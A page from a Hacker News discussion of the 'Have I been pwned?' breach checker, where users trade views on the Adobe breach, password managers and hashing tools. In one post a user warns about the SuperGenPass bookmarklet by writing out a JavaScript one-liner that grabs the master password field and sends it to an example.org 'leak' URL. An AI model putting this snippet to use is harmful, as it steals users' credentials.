Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Have I been pwned? Check if your email has been compromised in a data breach

haveibeenpwned.com

Post reply on HN
Print view View original

261–270 of 294 posts

Re: Have I been pwned? Check if your email has been compromised in a data breach

#261

Post by acqq »

gmisra wrote: post #114
da_n wrote: post #73

Earlier quoted context omitted.

This should be a lesson not to manage your own passwords, use a password manager there are many to choose from. I was also caught up in the Adobe breach but my password was randomly generated by my password manager.

I am surprised by how few people are aware of this: https://www.pwdhash.com/ Convenience provided via Chrome/Firefox extensions, portability provided by the website.

Is it protecting from the possibility of web sites being compromised with your data by trusting the website and the extension? How is it better?

Re: Have I been pwned? Check if your email has been compromised in a data breach

#262

Post by shurcooL »

da_n wrote: post #73
pvnick wrote: post #51

Shit. Looks like I got caught up in the adobe breach. Let this be a lesson to all engineers in charge of such situations to implement strong security. You are partially responsible for these disasters. I got a call from PayPal a week or two ago. It turns out somebody in Indonesia accessed my Paypal account, presumably with credentials scraped from adobe. I know, I know, shame on me for reusing passwords. Luckily no d…

This should be a lesson not to manage your own passwords, use a password manager there are many to choose from. I was also caught up in the Adobe breach but my password was randomly generated by my password manager.

  > there are many to choose from
This is the reason I don't use one... I still haven't decided which, even if _any_ is better than nothing.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#263

Post by mattholtom »

pvnick wrote: post #51

Shit. Looks like I got caught up in the adobe breach. Let this be a lesson to all engineers in charge of such situations to implement strong security. You are partially responsible for these disasters. I got a call from PayPal a week or two ago. It turns out somebody in Indonesia accessed my Paypal account, presumably with credentials scraped from adobe. I know, I know, shame on me for reusing passwords. Luckily no d…

Have fun closing your account by the way, I went through that fiasco recently. I regularly run the LastPass security challenge and an old email of mine was in the Adobe breach too.

49 customers are in line ahead of you. ..5 mins.. 48 customers are in line ahead of you. ..5 mins.. 48 customers are in line ahead of you. ..5 mins.. 48 customers are in line ahead of you. ARG!

Re: Have I been pwned? Check if your email has been compromised in a data breach

#264

Post by SideburnsOfDoom »

pvnick wrote: post #51

Shit. Looks like I got caught up in the adobe breach. Let this be a lesson to all engineers in charge of such situations to implement strong security. You are partially responsible for these disasters. I got a call from PayPal a week or two ago. It turns out somebody in Indonesia accessed my Paypal account, presumably with credentials scraped from adobe. I know, I know, shame on me for reusing passwords. Luckily no d…

> Great job, op (if you're the one who wrote this service)

Looks like no.

"Have I been pwned?" is by Troy Hunt http://www.troyhunt.com/

The OP's bio indicates that they are someone else. https://news.ycombinator.com/user?id=mountaineer

Re: Have I been pwned? Check if your email has been compromised in a data breach

#265

Post by A1kmm »

jdmichal wrote: post #174
gmisra wrote: post #114

Earlier quoted context omitted.

I am surprised by how few people are aware of this: https://www.pwdhash.com/ Convenience provided via Chrome/Firefox extensions, portability provided by the website.

There is also http://supergenpass.com , which uses a JavaScript bookmarklet to do the hashing.

That is an extremely bad idea. Any site you use can put the following JavaScript in their site to obtain your master password next time you use the bookmarklet:

document.documentElement.addEventListener("DOMSubtreeModified", function() {$("#gp2_master").change(function() {location.href = "http://example.org/leak/" + $("#gp2_master").val()})})

Re: Have I been pwned? Check if your email has been compromised in a data breach

#266

Post by Figs »

bigiain wrote: post #172
elwell wrote: post #88

Earlier quoted context omitted.

What do you do when you are using a different computer and need to login to site?

For some logins, the answer is "Sorry Dave, I can't do that." If I don't have the private cert, or the ssh cert, or the right hole in the firewall - there are many thing I've chosen intentionally to not be able to log in to using someone else's computer. For lesser security critical logins, I've got my password software (1Password) on my phone (and iPad). For some intermediate level logins, I need my phone or iPad an…

What will you do if your primary computer gets stolen?

Re: Have I been pwned? Check if your email has been compromised in a data breach

#267

Post by SideburnsOfDoom »

elwell wrote: post #88
da_n wrote: post #73

Earlier quoted context omitted.

This should be a lesson not to manage your own passwords, use a password manager there are many to choose from. I was also caught up in the Adobe breach but my password was randomly generated by my password manager.

What do you do when you are using a different computer and need to login to site?

I have the encrypted password file on a usb thumb drive. I remember the master password. I view as fatally flawed any password store that uploads the encrypted password file to a remote server.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#268

Post by prof_hobart »

millerm wrote: post #99
cleaver wrote: post #42

I tend to create a new email address for everything I sign up for. This makes a little harder to check :) EG: twitter@example.com, facebook@example.com, hackernews@example.com It also makes it a little harder for people to find me on social media. Not sure if that's a bug or a feature ;)

That's actually a very unadvisable scheme. By doing this you make yourself a target. If any one of those are compromised, attackers will attempt to try that against a lot of popular sites (including banks). If you have your own domain (which I assume you do based on your scheme), I suggest not doing this. You would be better off coming up with a random account name for each and using a password manager to keep track…

If someone is directly targeting you, then yes it's an issue (but even so, it's less of an issue than using exactly the same email address for all of your accounts).

In a mass compromise like the Adobe one, it's highly unlikely that the hackers are going to go out of their way to attack people who use this method when there's millions of much easier targets already in their list.

Using this approach also makes it a lot easier to spot spam - if I get an email to "hackernews@myaccount.com" claiming to be from my bank, it's highly unlikely to be genuine. If it's coming to "mybank@myaccount.com", there's at least a fair chance that it's real - I still treat it with a fair amount of caution, but as I've filtered out the obvious junk I can spend more time checking out these reasonably genuine-lookuing one. Using a random email like hhj4378@myaccount.com would make this quick filtering a lot harder.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#269

Post by SideburnsOfDoom »

Habesha wrote: post #100
elwell wrote: post #88

Earlier quoted context omitted.

What do you do when you are using a different computer and need to login to site?

You can have the password repository in dropbox to sync between different machines, and also use the app

You can. I would not. I don't want my password file uploaded to any remote server.

Re: Have I been pwned? Check if your email has been compromised in a data breach

#270

Post by gazrogers »

basch wrote: post #117
Udo wrote: post #97

Funny/scary anecdote I experienced a few days ago: most Linux flavors check against the cracklib database when changing passwords, and as I typed in an account password, a brand-new cracklib said it was based on a dictionary word. Now, my passwords are alphanumerical jumble, and they're usually comprised of an alphanumerical jumble "core" that I memorize and then a site-based or computer-based pre- and suffix. So, le…

whynotjustusereallylongpasswordsthatarehardformachinestocrack?

One of the benefits of learning to program J for me has been to make it easy to remember hard to crack passwords. I have some passwords which are actually runnable J on-liner programs and contain all kind of '#!$' symbols. All I need to do is remember what they do so that I can recreate them.
Post reply on HN